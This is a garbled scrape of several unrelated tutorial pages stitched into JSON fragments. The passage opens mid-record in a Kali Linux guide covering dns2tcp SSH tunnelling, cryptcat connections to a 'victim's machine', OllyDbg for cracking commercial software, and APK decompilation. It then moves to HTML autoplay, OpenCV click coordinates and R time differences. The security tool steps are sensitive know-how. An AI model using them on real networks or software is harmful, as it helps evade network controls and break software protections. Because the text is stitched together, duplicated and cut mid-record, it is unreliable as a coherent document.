.dns2tcpdrc\n" }, { "code": null, "e": 47364, "s": 47328, "text": "On Client site, enter this command." }, { "code": null, "e": 47533, "s": 47364, "text": "# cat >>.dns2tcprc \n<<END domain = your domain \nresource = ssh \nlocal_port = 7891 \nkey = secretkey \nEND\n# dns2tcpc -f .dns2tcprc \n# ssh root@localhost -p 7891 -D 7076 \n" }, { "code": null, "e": 47573, "s": 47533, "text": "Tunneling will start with this command." }, { "code": null, "e": 47693, "s": 47573, "text": "It is another tool like Netcat which allows to make TCP and UDP connection with a victim’s machine in an encrypted way." }, { "code": null, "e": 47768, "s": 47693, "text": "To start a server to listen for a connection, type the following command −" }, { "code": null, "e": 47793, "s": 47768, "text": "cryptcat –l –p port –n \n" }, { "code": null, "e": 47800, "s": 47793, "text": "Where," }, { "code": null, "e": 47840, "s": 47800, "text": "-l stands for listening to a connection" }, { "code": null, "e": 47880, "s": 47840, "text": "-l stands for listening to a connection" }, { "code": null, "e": 47916, "s": 47880, "text": "-p stands for port number parameter" }, { "code": null, "e": 47952, "s": 47916, "text": "-p stands for port number parameter" }, { "code": null, "e": 47996, "s": 47952, "text": "-n stands for not doing the name resolution" }, { "code": null, "e": 48040, "s": 47996, "text": "-n stands for not doing the name resolution" }, { "code": null, "e": 48117, "s": 48040, "text": "On client site, the connection command is “cryptcat IPofServer PortofServer”" }, { "code": null, "e": 48199, "s": 48117, "text": "In this chapter, we will learn about the reverse engineering tools of Kali Linux." }, { "code": null, "e": 48451, "s": 48199, "text": "OllyDbg is a 32-bit assembler level analyzing debugger for Microsoft Windows applications. Emphasis on binary code analysis makes it particularly useful in cases where the source is unavailable. Generally, it is used to crack the commercial softwares." }, { "code": null, "e": 48514, "s": 48451, "text": "To open it, go to Applications → Reverse Engineering → ollydbg" }, { "code": null, "e": 48631, "s": 48514, "text": "To load a EXE file, go the “Opening folder” in yellow color, which is shown in a red square in the above screenshot." }, { "code": null, "e": 48714, "s": 48631, "text": "After loading, you will have the following view where you can change the binaries." }, { "code": null, "e": 48893, "s": 48714, "text": "This is an application that helps convert APK file (android) to JAR file in order to view the source code. To use it, open the terminal and write ”d2j-dex2jar –d /file location”." }, { "code": null, "e": 48949, "s": 48893, "text": "In this case, the file is “classes.dex” on the desktop." }, { "code": null, "e": 49008, "s": 48949, "text": "The following line shows that a JAR file has been created." }, { "code": null, "e": 49229, "s": 49008, "text": "JD-GUI is a standalone graphical utility that displays Java source codes of “.class” files. You can browse the reconstructed source code. In this case, we can reconstruct the file that we extracted from the dex2jar tool." }, { "code": null, "e": 49314, "s": 49229, "text": "To launch it, open the terminal and write “jd-gui” and the following view will open." }, { "code": null, "e": 49413, "s": 49314, "text": "To import the file, click the open folder icon on the left upper corner and then import the file." }, { "code": null, "e": 49584, "s": 49413, "text": "Apktool is one of the best tools to reverse the whole android application. It can decode resources to nearly an original form and rebuild them after making modifications." }, { "code": null, "e": 49637, "s": 49584, "text": "To open it, go to the terminal and write “ apktool”." }, { "code": null, "e": 49691, "s": 49637, "text": "To decompile a apk file, write “apktool d apk file”." }, { "code": null, "e": 49754, "s": 49691, "text": "Decompilation will start as shown in the following screenshot." }, { "code": null, "e": 49827, "s": 49754, "text": "In this chapter, we will learn about some reporting tools in Kali Linux." }, { "code": null, "e": 50030, "s": 49827, "text": "In all this work that we have performed, it is important to share the results that was produced, to track our work, etc. For this purpose, Kali has a reporting tool called dradis which is a web service." }, { "code": null, "e": 50085, "s": 50030, "text": "Step 1 − To start Dradis, type “service dradis start”." }, { "code": null, "e": 50150, "s": 50085, "text": "Step 2 − To open, go to Applications → Reporting Tools → dradis." }, { "code": null, "e": 50253, "s": 50150, "text": "The web URL will open. Anybody in LAN can open it in the following URL https://IP of kali machine:3004" }, { "code": null, "e": 50325, "s": 50253, "text": "Log in with the username and password that was used for the first time." }, { "code": null, "e": 50485, "s": 50325, "text": "Step 3 − After logging in, you can import files from NMAP, NESSUS, NEXPOSE. To do so, go to “Import from file” → click “new importer(with real-time feedback)”." }, { "code": null, "e": 50592, "s": 50485, "text": "Step 4 − Select the file type that you want to upload. In this case, it is “Nessus scan” → click “Browse”." }, { "code": null, "e": 50734, "s": 50592, "text": "If you go to the home page now, on the left panel you will see that the imported scans have are in a folder with their host and port details." }, { "code": null, "e": 50961, "s": 50734, "text": "Metagoofil performs a search in Google to identify and download the documents to the local disk and then extracts the metadata. It extracts metadata of public documents belonging to a specific company, individual, object, etc." }, { "code": null, "e": 51005, "s": 50961, "text": "To open it, go to: “usr/share/metagoofil/”." }, { "code": null, "e": 51054, "s": 51005, "text": "To start searching, type the following command −" }, { "code": null, "e": 51077, "s": 51054, "text": "python metagoofil.py \n" }, { "code": null, "e": 51134, "s": 51077, "text": "You can use the following parameters with this command −" }, { "code": null, "e": 51151, "s": 51134, "text": "–d (domain name)" }, { "code": null, "e": 51168, "s": 51151, "text": "–d (domain name)" }, { "code": null, "e": 51207, "s": 51168, "text": "–t (filetype to download dox,pdf,etc)" }, { "code": null, "e": 51246, "s": 51207, "text": "–t (filetype to download dox,pdf,etc)" }, { "code": null, "e": 51279, "s": 51246, "text": "–l (limit the results 10, 100 )" }, { "code": null, "e": 51312, "s": 51279, "text": "–l (limit the results 10, 100 )" }, { "code": null, "e": 51341, "s": 51312, "text": "–n (limit files to download)" }, { "code": null, "e": 51370, "s": 51341, "text": "–n (limit files to download)" }, { "code": null, "e": 51404, "s": 51370, "text": "–o ( location to save the files) " }, { "code": null, "e": 51438, "s": 51404, "text": "–o ( location to save the files) " }, { "code": null, "e": 51455, "s": 51438, "text": "–f (output file)" }, { "code": null, "e": 51472, "s": 51455, "text": "–f (output file)" } ]
HTML | autoplay Attribute
31 May, 2022 The HTML autoplay Attribute is used to specify that the audio/video should automatically start playing when web page is loaded. It is a Boolean attribute. Syntax: <element autoplay> Uses It can be used with <audio> and <video> element. Example 1: Here the autoplay attribute is used with the <video> tag. html <!DOCTYPE html><html> <head> <title>HTML video autoplay Attribute</title></head> <body> <center> <h1 style="color:green;">GeeksforGeeks</h1> <h3>HTML video autoplay Attribute</h3> <video width="400" height="200" controls autoplay> <source src="https://media.geeksforgeeks.org/wp-content/uploads/20190616234019/Canvas.move_.mp4" type="video/mp4"> <source src="https://media.geeksforgeeks.org/wp-content/uploads/20190616234019/Canvas.move_.ogg" type="video/ogg"> </video> </center></body> </html> Output: Example 2: Here the autoplay attribute is used with the <audio> tag. html <!DOCTYPE html><html> <head> <title> HTML audio autoplay Attribute </title></head> <body style="text-align: center"> <h1 style="color: green"> GeeksforGeeks </h1> <h2>HTML audio autoplay Attribute</h2> <audio controls autoplay> <source src="https://media.geeksforgeeks.org/wp-content/uploads/20190531165842/Recording1514.ogg" type="audio/ogg"> <source src="https://media.geeksforgeeks.org/wp-content/uploads/20190531165842/Recording1514.mp3" type=" audio/mpeg "> </audio></body> </html> Output: Supported Browsers: The browser supported by HTML autoplay attributes are listed below: Google Chrome 3.0 and above Internet Explorer 9.0 Firefox 3.5 and above Safari 3.1 and above Opera 10.5 and above Edge 12 and above hritikbhatnagar2182 kumargaurav97520 HTML-Attributes HTML Web Technologies HTML Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n31 May, 2022" }, { "code": null, "e": 193, "s": 28, "text": "The HTML autoplay Attribute is used to specify that the audio/video should automatically start playing when web page is loaded. It is a Boolean attribute. Syntax: " }, { "code": null, "e": 213, "s": 193, "text": "<element autoplay> " }, { "code": null, "e": 338, "s": 213, "text": "Uses It can be used with <audio> and <video> element. Example 1: Here the autoplay attribute is used with the <video> tag. " }, { "code": null, "e": 343, "s": 338, "text": "html" }, { "code": "<!DOCTYPE html><html> <head> <title>HTML video autoplay Attribute</title></head> <body> <center> <h1 style=\"color:green;\">GeeksforGeeks</h1> <h3>HTML video autoplay Attribute</h3> <video width=\"400\" height=\"200\" controls autoplay> <source src=\"https://media.geeksforgeeks.org/wp-content/uploads/20190616234019/Canvas.move_.mp4\" type=\"video/mp4\"> <source src=\"https://media.geeksforgeeks.org/wp-content/uploads/20190616234019/Canvas.move_.ogg\" type=\"video/ogg\"> </video> </center></body> </html>", "e": 937, "s": 343, "text": null }, { "code": null, "e": 947, "s": 937, "text": "Output: " }, { "code": null, "e": 1018, "s": 947, "text": "Example 2: Here the autoplay attribute is used with the <audio> tag. " }, { "code": null, "e": 1023, "s": 1018, "text": "html" }, { "code": "<!DOCTYPE html><html> <head> <title> HTML audio autoplay Attribute </title></head> <body style=\"text-align: center\"> <h1 style=\"color: green\"> GeeksforGeeks </h1> <h2>HTML audio autoplay Attribute</h2> <audio controls autoplay> <source src=\"https://media.geeksforgeeks.org/wp-content/uploads/20190531165842/Recording1514.ogg\" type=\"audio/ogg\"> <source src=\"https://media.geeksforgeeks.org/wp-content/uploads/20190531165842/Recording1514.mp3\" type=\" audio/mpeg \"> </audio></body> </html> ", "e": 1611, "s": 1023, "text": null }, { "code": null, "e": 1621, "s": 1611, "text": "Output: " }, { "code": null, "e": 1711, "s": 1621, "text": "Supported Browsers: The browser supported by HTML autoplay attributes are listed below: " }, { "code": null, "e": 1739, "s": 1711, "text": "Google Chrome 3.0 and above" }, { "code": null, "e": 1761, "s": 1739, "text": "Internet Explorer 9.0" }, { "code": null, "e": 1783, "s": 1761, "text": "Firefox 3.5 and above" }, { "code": null, "e": 1804, "s": 1783, "text": "Safari 3.1 and above" }, { "code": null, "e": 1825, "s": 1804, "text": "Opera 10.5 and above" }, { "code": null, "e": 1843, "s": 1825, "text": "Edge 12 and above" }, { "code": null, "e": 1865, "s": 1845, "text": "hritikbhatnagar2182" }, { "code": null, "e": 1882, "s": 1865, "text": "kumargaurav97520" }, { "code": null, "e": 1898, "s": 1882, "text": "HTML-Attributes" }, { "code": null, "e": 1903, "s": 1898, "text": "HTML" }, { "code": null, "e": 1920, "s": 1903, "text": "Web Technologies" }, { "code": null, "e": 1925, "s": 1920, "text": "HTML" } ]
Displaying the coordinates of the points clicked on the image using Python-OpenCV
08 Oct, 2021 OpenCV helps us to control and manage different types of mouse events and gives us the flexibility to operate them. There are many types of mouse events. These events can be displayed by running the following code segment : import cv2 [print(i) for i in dir(cv2) if 'EVENT' in i] Output : EVENT_FLAG_ALTKEY EVENT_FLAG_CTRLKEY EVENT_FLAG_LBUTTON EVENT_FLAG_MBUTTON EVENT_FLAG_RBUTTON EVENT_FLAG_SHIFTKEY EVENT_LBUTTONDBLCLK EVENT_LBUTTONDOWN EVENT_LBUTTONUP EVENT_MBUTTONDBLCLK EVENT_MBUTTONDOWN EVENT_MBUTTONUP EVENT_MOUSEHWHEEL EVENT_MOUSEMOVE EVENT_MOUSEWHEEL EVENT_RBUTTONDBLCLK EVENT_RBUTTONDOWN EVENT_RBUTTONUP Now let us see how to display the coordinates of the points clicked on the image. We will be displaying both the points clicked by right-click as well as left-click. Algorithm : Import the cv2 module.Import the image using the cv2.imread() function.Display the image the image using the cv2.imshow() function.Call the cv2.setMouseCallback() function and pass the image window and the user-defined function as parameters.In the user-defined function, check for left mouse clicks using the cv2.EVENT_LBUTTONDOWN attribute.Display the coordinates on the Shell.Display the coordinates on the created window.Do the same for right mouse clicks using the cv2.EVENT_RBUTTONDOWN attribute. Change the color while displaying the coordinates on the image to distinguish from left clicks.Outside the user-defined function, use the cv2.waitKey(0) and the cv2.destroyAllWindows() functions to close the window and terminate the program. Import the cv2 module. Import the image using the cv2.imread() function. Display the image the image using the cv2.imshow() function. Call the cv2.setMouseCallback() function and pass the image window and the user-defined function as parameters. In the user-defined function, check for left mouse clicks using the cv2.EVENT_LBUTTONDOWN attribute. Display the coordinates on the Shell. Display the coordinates on the created window. Do the same for right mouse clicks using the cv2.EVENT_RBUTTONDOWN attribute. Change the color while displaying the coordinates on the image to distinguish from left clicks. Outside the user-defined function, use the cv2.waitKey(0) and the cv2.destroyAllWindows() functions to close the window and terminate the program. We will be using the colored version of the Lena image. Python3 # importing the moduleimport cv2 # function to display the coordinates of# of the points clicked on the imagedef click_event(event, x, y, flags, params): # checking for left mouse clicks if event == cv2.EVENT_LBUTTONDOWN: # displaying the coordinates # on the Shell print(x, ' ', y) # displaying the coordinates # on the image window font = cv2.FONT_HERSHEY_SIMPLEX cv2.putText(img, str(x) + ',' + str(y), (x,y), font, 1, (255, 0, 0), 2) cv2.imshow('image', img) # checking for right mouse clicks if event==cv2.EVENT_RBUTTONDOWN: # displaying the coordinates # on the Shell print(x, ' ', y) # displaying the coordinates # on the image window font = cv2.FONT_HERSHEY_SIMPLEX b = img[y, x, 0] g = img[y, x, 1] r = img[y, x, 2] cv2.putText(img, str(b) + ',' + str(g) + ',' + str(r), (x,y), font, 1, (255, 255, 0), 2) cv2.imshow('image', img) # driver functionif __name__=="__main__": # reading the image img = cv2.imread('lena.jpg', 1) # displaying the image cv2.imshow('image', img) # setting mouse handler for the image # and calling the click_event() function cv2.setMouseCallback('image', click_event) # wait for a key to be pressed to exit cv2.waitKey(0) # close the window cv2.destroyAllWindows() Output : adnanirshad158 surindertarika1234 Python-OpenCV Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary Different ways to create Pandas Dataframe Enumerate() in Python Read a file line by line in Python Python String | replace() How to Install PIP on Windows ? *args and **kwargs in Python Python Classes and Objects Iterate over a list in Python Convert integer to string in Python
[ { "code": null, "e": 54, "s": 26, "text": "\n08 Oct, 2021" }, { "code": null, "e": 278, "s": 54, "text": "OpenCV helps us to control and manage different types of mouse events and gives us the flexibility to operate them. There are many types of mouse events. These events can be displayed by running the following code segment :" }, { "code": null, "e": 334, "s": 278, "text": "import cv2\n[print(i) for i in dir(cv2) if 'EVENT' in i]" }, { "code": null, "e": 344, "s": 334, "text": "Output : " }, { "code": null, "e": 671, "s": 344, "text": "EVENT_FLAG_ALTKEY\nEVENT_FLAG_CTRLKEY\nEVENT_FLAG_LBUTTON\nEVENT_FLAG_MBUTTON\nEVENT_FLAG_RBUTTON\nEVENT_FLAG_SHIFTKEY\nEVENT_LBUTTONDBLCLK\nEVENT_LBUTTONDOWN\nEVENT_LBUTTONUP\nEVENT_MBUTTONDBLCLK\nEVENT_MBUTTONDOWN\nEVENT_MBUTTONUP\nEVENT_MOUSEHWHEEL\nEVENT_MOUSEMOVE\nEVENT_MOUSEWHEEL\nEVENT_RBUTTONDBLCLK\nEVENT_RBUTTONDOWN\nEVENT_RBUTTONUP" }, { "code": null, "e": 837, "s": 671, "text": "Now let us see how to display the coordinates of the points clicked on the image. We will be displaying both the points clicked by right-click as well as left-click." }, { "code": null, "e": 850, "s": 837, "text": "Algorithm : " }, { "code": null, "e": 1595, "s": 850, "text": "Import the cv2 module.Import the image using the cv2.imread() function.Display the image the image using the cv2.imshow() function.Call the cv2.setMouseCallback() function and pass the image window and the user-defined function as parameters.In the user-defined function, check for left mouse clicks using the cv2.EVENT_LBUTTONDOWN attribute.Display the coordinates on the Shell.Display the coordinates on the created window.Do the same for right mouse clicks using the cv2.EVENT_RBUTTONDOWN attribute. Change the color while displaying the coordinates on the image to distinguish from left clicks.Outside the user-defined function, use the cv2.waitKey(0) and the cv2.destroyAllWindows() functions to close the window and terminate the program." }, { "code": null, "e": 1618, "s": 1595, "text": "Import the cv2 module." }, { "code": null, "e": 1668, "s": 1618, "text": "Import the image using the cv2.imread() function." }, { "code": null, "e": 1729, "s": 1668, "text": "Display the image the image using the cv2.imshow() function." }, { "code": null, "e": 1841, "s": 1729, "text": "Call the cv2.setMouseCallback() function and pass the image window and the user-defined function as parameters." }, { "code": null, "e": 1942, "s": 1841, "text": "In the user-defined function, check for left mouse clicks using the cv2.EVENT_LBUTTONDOWN attribute." }, { "code": null, "e": 1980, "s": 1942, "text": "Display the coordinates on the Shell." }, { "code": null, "e": 2027, "s": 1980, "text": "Display the coordinates on the created window." }, { "code": null, "e": 2201, "s": 2027, "text": "Do the same for right mouse clicks using the cv2.EVENT_RBUTTONDOWN attribute. Change the color while displaying the coordinates on the image to distinguish from left clicks." }, { "code": null, "e": 2348, "s": 2201, "text": "Outside the user-defined function, use the cv2.waitKey(0) and the cv2.destroyAllWindows() functions to close the window and terminate the program." }, { "code": null, "e": 2406, "s": 2348, "text": "We will be using the colored version of the Lena image. " }, { "code": null, "e": 2414, "s": 2406, "text": "Python3" }, { "code": "# importing the moduleimport cv2 # function to display the coordinates of# of the points clicked on the imagedef click_event(event, x, y, flags, params): # checking for left mouse clicks if event == cv2.EVENT_LBUTTONDOWN: # displaying the coordinates # on the Shell print(x, ' ', y) # displaying the coordinates # on the image window font = cv2.FONT_HERSHEY_SIMPLEX cv2.putText(img, str(x) + ',' + str(y), (x,y), font, 1, (255, 0, 0), 2) cv2.imshow('image', img) # checking for right mouse clicks if event==cv2.EVENT_RBUTTONDOWN: # displaying the coordinates # on the Shell print(x, ' ', y) # displaying the coordinates # on the image window font = cv2.FONT_HERSHEY_SIMPLEX b = img[y, x, 0] g = img[y, x, 1] r = img[y, x, 2] cv2.putText(img, str(b) + ',' + str(g) + ',' + str(r), (x,y), font, 1, (255, 255, 0), 2) cv2.imshow('image', img) # driver functionif __name__==\"__main__\": # reading the image img = cv2.imread('lena.jpg', 1) # displaying the image cv2.imshow('image', img) # setting mouse handler for the image # and calling the click_event() function cv2.setMouseCallback('image', click_event) # wait for a key to be pressed to exit cv2.waitKey(0) # close the window cv2.destroyAllWindows()", "e": 3903, "s": 2414, "text": null }, { "code": null, "e": 3912, "s": 3903, "text": "Output :" }, { "code": null, "e": 3929, "s": 3914, "text": "adnanirshad158" }, { "code": null, "e": 3948, "s": 3929, "text": "surindertarika1234" }, { "code": null, "e": 3962, "s": 3948, "text": "Python-OpenCV" }, { "code": null, "e": 3969, "s": 3962, "text": "Python" }, { "code": null, "e": 4067, "s": 3969, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 4085, "s": 4067, "text": "Python Dictionary" }, { "code": null, "e": 4127, "s": 4085, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 4149, "s": 4127, "text": "Enumerate() in Python" }, { "code": null, "e": 4184, "s": 4149, "text": "Read a file line by line in Python" }, { "code": null, "e": 4210, "s": 4184, "text": "Python String | replace()" }, { "code": null, "e": 4242, "s": 4210, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 4271, "s": 4242, "text": "*args and **kwargs in Python" }, { "code": null, "e": 4298, "s": 4271, "text": "Python Classes and Objects" }, { "code": null, "e": 4328, "s": 4298, "text": "Iterate over a list in Python" } ]
How to calculate time difference with previous row of a dataframe by group in R
16 Dec, 2021 A dataframe may consist of different values belonging to groups. The columns may have values belonging to different data types or time frames as POSIXct objects. These objects allow the application of mathematical operations easily, which can be performed in the following ways : The group_by method is used to divide and segregate date based on groups contained within the specific columns. The required column to group by is specified as an argument of this function. It may contain multiple column names. Syntax: group_by(col1, col2, ...) This is followed by the application of mutate() method which is used to shift orientations and perform manipulations in the data. The new column name can be specified using the new column name. The difference from the previous row can be calculated using the lag() method of this library. This method finds the previous values in a vector. Syntax: lag(x, n = 1L, default = NA) Parameter : x – A vector of values n – Number of positions to lag by default (Default : NA)- the value used for non-existent rows. The first occurrences of any group are replaced by NA values. Example: R library(dplyr) # creating a dataframedata_frame <- data.frame(col1 = sample(6:9, 5 , replace = TRUE), col3 = c(as.POSIXct("2021-05-08 08:32:07"), as.POSIXct("2021-07-18 00:21:07"), as.POSIXct("2020-11-28 23:32:09"), as.POSIXct("2021-05-11 18:32:07"), as.POSIXct("2021-05-08 08:32:07")) )print ("Original DataFrame")print (data_frame) # computing difference of each groupdata_frame %>% arrange(col1, col3) %>% group_by(col1) %>% mutate(diff = col3 - lag(col3)) Output [1] "Original DataFrame" col1 col3 1 8 2021-05-08 08:32:07 2 8 2021-07-18 00:21:07 3 7 2020-11-28 23:32:09 4 6 2021-05-11 18:32:07 5 7 2021-05-08 08:32:07 # A tibble: 5 x 3 # Groups: col1 [3] col1 col3 diff <int> <dttm> <drtn> 1 6 2021-05-11 18:32:07 NA secs 2 7 2020-11-28 23:32:09 NA secs 3 7 2021-05-08 08:32:07 13856398 secs 4 8 2021-05-08 08:32:07 NA secs 5 8 2021-07-18 00:21:07 6104940 secs The tapply() method is used to apply a function on the list or dataframe object. The specified function, which may be user-defined or pre-defined is applied to each cell of the dataframe object. Syntax: tapply(X, INDEX, FUN ) Parameter : X – an R object, a dataframe. Typically vector-like, allowing sub-setting with [. INDEX – a list of one or more factors, each of same length as X. The elements are coerced to factors by as.factor. FUN – a function to be applied In this scenario, the function is to compute the difference in time frames, with the units as seconds. All the first instances of the values encountered in a group are replaced by zero. Example: R # creating a dataframedata_frame <- data.frame(col1 = sample(6:9, 5 , replace = TRUE), col3 = c(as.POSIXct("2021-05-08 08:32:07"), as.POSIXct("2021-07-18 00:21:07"), as.POSIXct("2020-11-28 23:32:09"), as.POSIXct("2021-05-11 18:32:07"), as.POSIXct("2021-05-08 08:32:07")) )print ("Original DataFrame")print (data_frame) # computing difference of each groupdata_frame$diff <- unlist(tapply(data_frame$col3, INDEX = data_frame$col1, FUN = function(x) c(0, `units<-`(diff(x), "secs")))) print ("Modified DataFrame")print (data_frame) Output [1] "Original DataFrame" col1 col3 1 7 2021-05-08 08:32:07 2 6 2021-07-18 00:21:07 3 8 2020-11-28 23:32:09 4 7 2021-05-11 18:32:07 5 6 2021-05-08 08:32:07 [1] "Modified DataFrame" col1 col3 diff 1 7 2021-05-08 08:32:07 0 2 6 2021-07-18 00:21:07 -6104940 3 8 2020-11-28 23:32:09 0 4 7 2021-05-11 18:32:07 295200 5 6 2021-05-08 08:32:07 0 A new column can be added to calculate the time difference between rows of the data.table. The difftime() method can be used to calculate this difference. It is used to calculate the time intervals or differences. Syntax: difftime (t1 , t2 , units) Parameter : t1, t2 – date-time or date objects. units – units in the form of character string to return the result In order to find the next time zone value, that is, t2 to be applied in difftime(), the shift() method is used to induce lead or lag in the specified input vector or list. Syntax: shift (x , fill ) Parameter : x – A vector, list, data.frame or data.table. fill – indicator of the padding value to introduce The by attribute is added to the group the data by the specified column name. Example: R library("data.table") # creating a dataframedt <- data.table(col1 = sample(6:9, 5 , replace = TRUE), col3 = c(as.POSIXct("2021-05-08 08:32:07"), as.POSIXct("2021-07-18 00:21:07"), as.POSIXct("2020-11-28 23:32:09"), as.POSIXct("2021-05-11 18:32:07"), as.POSIXct("2021-05-08 08:32:07")) )print ("Original DataFrame")print (dt) # computing difference of each groupdt[, diff := difftime(col3, shift(col3, fill=col3[1L]), units="secs"), by=col1] print ("Modified DataFrame")print (dt) Output [1] "Original DataFrame" col1 col3 1: 7 2021-05-08 08:32:07 2: 7 2021-07-18 00:21:07 3: 8 2020-11-28 23:32:09 4: 8 2021-05-11 18:32:07 5: 8 2021-05-08 08:32:07 [1] "Modified DataFrame" col1 col3 diff 1: 7 2021-05-08 08:32:07 0 secs 2: 7 2021-07-18 00:21:07 6104940 secs 3: 8 2020-11-28 23:32:09 0 secs 4: 8 2021-05-11 18:32:07 14151598 secs 5: 8 2021-05-08 08:32:07 -295200 secs sagar0719kumar Picked R DataFrame-Programs R-DataFrame R Language R Programs Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n16 Dec, 2021" }, { "code": null, "e": 309, "s": 28, "text": "A dataframe may consist of different values belonging to groups. The columns may have values belonging to different data types or time frames as POSIXct objects. These objects allow the application of mathematical operations easily, which can be performed in the following ways : " }, { "code": null, "e": 537, "s": 309, "text": "The group_by method is used to divide and segregate date based on groups contained within the specific columns. The required column to group by is specified as an argument of this function. It may contain multiple column names." }, { "code": null, "e": 545, "s": 537, "text": "Syntax:" }, { "code": null, "e": 571, "s": 545, "text": "group_by(col1, col2, ...)" }, { "code": null, "e": 911, "s": 571, "text": "This is followed by the application of mutate() method which is used to shift orientations and perform manipulations in the data. The new column name can be specified using the new column name. The difference from the previous row can be calculated using the lag() method of this library. This method finds the previous values in a vector." }, { "code": null, "e": 919, "s": 911, "text": "Syntax:" }, { "code": null, "e": 948, "s": 919, "text": "lag(x, n = 1L, default = NA)" }, { "code": null, "e": 960, "s": 948, "text": "Parameter :" }, { "code": null, "e": 984, "s": 960, "text": "x – A vector of values" }, { "code": null, "e": 1018, "s": 984, "text": "n – Number of positions to lag by" }, { "code": null, "e": 1080, "s": 1018, "text": "default (Default : NA)- the value used for non-existent rows." }, { "code": null, "e": 1143, "s": 1080, "text": "The first occurrences of any group are replaced by NA values. " }, { "code": null, "e": 1152, "s": 1143, "text": "Example:" }, { "code": null, "e": 1154, "s": 1152, "text": "R" }, { "code": "library(dplyr) # creating a dataframedata_frame <- data.frame(col1 = sample(6:9, 5 , replace = TRUE), col3 = c(as.POSIXct(\"2021-05-08 08:32:07\"), as.POSIXct(\"2021-07-18 00:21:07\"), as.POSIXct(\"2020-11-28 23:32:09\"), as.POSIXct(\"2021-05-11 18:32:07\"), as.POSIXct(\"2021-05-08 08:32:07\")) )print (\"Original DataFrame\")print (data_frame) # computing difference of each groupdata_frame %>% arrange(col1, col3) %>% group_by(col1) %>% mutate(diff = col3 - lag(col3))", "e": 1802, "s": 1154, "text": null }, { "code": null, "e": 1809, "s": 1802, "text": "Output" }, { "code": null, "e": 2364, "s": 1809, "text": "[1] \"Original DataFrame\" \n col1 col3\n1 8 2021-05-08 08:32:07 \n2 8 2021-07-18 00:21:07 \n3 7 2020-11-28 23:32:09 \n4 6 2021-05-11 18:32:07 \n5 7 2021-05-08 08:32:07 \n# A tibble: 5 x 3 \n# Groups: col1 [3] \n col1 col3 diff \n <int> <dttm> <drtn> \n1 6 2021-05-11 18:32:07 NA secs \n2 7 2020-11-28 23:32:09 NA secs \n3 7 2021-05-08 08:32:07 13856398 secs \n4 8 2021-05-08 08:32:07 NA secs \n5 8 2021-07-18 00:21:07 6104940 secs" }, { "code": null, "e": 2559, "s": 2364, "text": "The tapply() method is used to apply a function on the list or dataframe object. The specified function, which may be user-defined or pre-defined is applied to each cell of the dataframe object." }, { "code": null, "e": 2568, "s": 2559, "text": "Syntax: " }, { "code": null, "e": 2591, "s": 2568, "text": "tapply(X, INDEX, FUN )" }, { "code": null, "e": 2604, "s": 2591, "text": "Parameter : " }, { "code": null, "e": 2686, "s": 2604, "text": "X – an R object, a dataframe. Typically vector-like, allowing sub-setting with [." }, { "code": null, "e": 2801, "s": 2686, "text": "INDEX – a list of one or more factors, each of same length as X. The elements are coerced to factors by as.factor." }, { "code": null, "e": 2832, "s": 2801, "text": "FUN – a function to be applied" }, { "code": null, "e": 3019, "s": 2832, "text": "In this scenario, the function is to compute the difference in time frames, with the units as seconds. All the first instances of the values encountered in a group are replaced by zero. " }, { "code": null, "e": 3028, "s": 3019, "text": "Example:" }, { "code": null, "e": 3030, "s": 3028, "text": "R" }, { "code": "# creating a dataframedata_frame <- data.frame(col1 = sample(6:9, 5 , replace = TRUE), col3 = c(as.POSIXct(\"2021-05-08 08:32:07\"), as.POSIXct(\"2021-07-18 00:21:07\"), as.POSIXct(\"2020-11-28 23:32:09\"), as.POSIXct(\"2021-05-11 18:32:07\"), as.POSIXct(\"2021-05-08 08:32:07\")) )print (\"Original DataFrame\")print (data_frame) # computing difference of each groupdata_frame$diff <- unlist(tapply(data_frame$col3, INDEX = data_frame$col1, FUN = function(x) c(0, `units<-`(diff(x), \"secs\")))) print (\"Modified DataFrame\")print (data_frame)", "e": 3803, "s": 3030, "text": null }, { "code": null, "e": 3811, "s": 3803, "text": " Output" }, { "code": null, "e": 4248, "s": 3811, "text": "[1] \"Original DataFrame\" \ncol1 col3 \n1 7 2021-05-08 08:32:07 \n2 6 2021-07-18 00:21:07 \n3 8 2020-11-28 23:32:09 \n4 7 2021-05-11 18:32:07 \n5 6 2021-05-08 08:32:07 \n[1] \"Modified DataFrame\" \ncol1 col3 diff \n1 7 2021-05-08 08:32:07 0 \n2 6 2021-07-18 00:21:07 -6104940 \n3 8 2020-11-28 23:32:09 0 \n4 7 2021-05-11 18:32:07 295200 \n5 6 2021-05-08 08:32:07 0" }, { "code": null, "e": 4463, "s": 4248, "text": "A new column can be added to calculate the time difference between rows of the data.table. The difftime() method can be used to calculate this difference. It is used to calculate the time intervals or differences. " }, { "code": null, "e": 4471, "s": 4463, "text": "Syntax:" }, { "code": null, "e": 4498, "s": 4471, "text": "difftime (t1 , t2 , units)" }, { "code": null, "e": 4511, "s": 4498, "text": "Parameter : " }, { "code": null, "e": 4547, "s": 4511, "text": "t1, t2 – date-time or date objects." }, { "code": null, "e": 4614, "s": 4547, "text": "units – units in the form of character string to return the result" }, { "code": null, "e": 4787, "s": 4614, "text": "In order to find the next time zone value, that is, t2 to be applied in difftime(), the shift() method is used to induce lead or lag in the specified input vector or list. " }, { "code": null, "e": 4795, "s": 4787, "text": "Syntax:" }, { "code": null, "e": 4813, "s": 4795, "text": "shift (x , fill )" }, { "code": null, "e": 4826, "s": 4813, "text": "Parameter : " }, { "code": null, "e": 4872, "s": 4826, "text": "x – A vector, list, data.frame or data.table." }, { "code": null, "e": 4923, "s": 4872, "text": "fill – indicator of the padding value to introduce" }, { "code": null, "e": 5002, "s": 4923, "text": "The by attribute is added to the group the data by the specified column name. " }, { "code": null, "e": 5011, "s": 5002, "text": "Example:" }, { "code": null, "e": 5013, "s": 5011, "text": "R" }, { "code": "library(\"data.table\") # creating a dataframedt <- data.table(col1 = sample(6:9, 5 , replace = TRUE), col3 = c(as.POSIXct(\"2021-05-08 08:32:07\"), as.POSIXct(\"2021-07-18 00:21:07\"), as.POSIXct(\"2020-11-28 23:32:09\"), as.POSIXct(\"2021-05-11 18:32:07\"), as.POSIXct(\"2021-05-08 08:32:07\")) )print (\"Original DataFrame\")print (dt) # computing difference of each 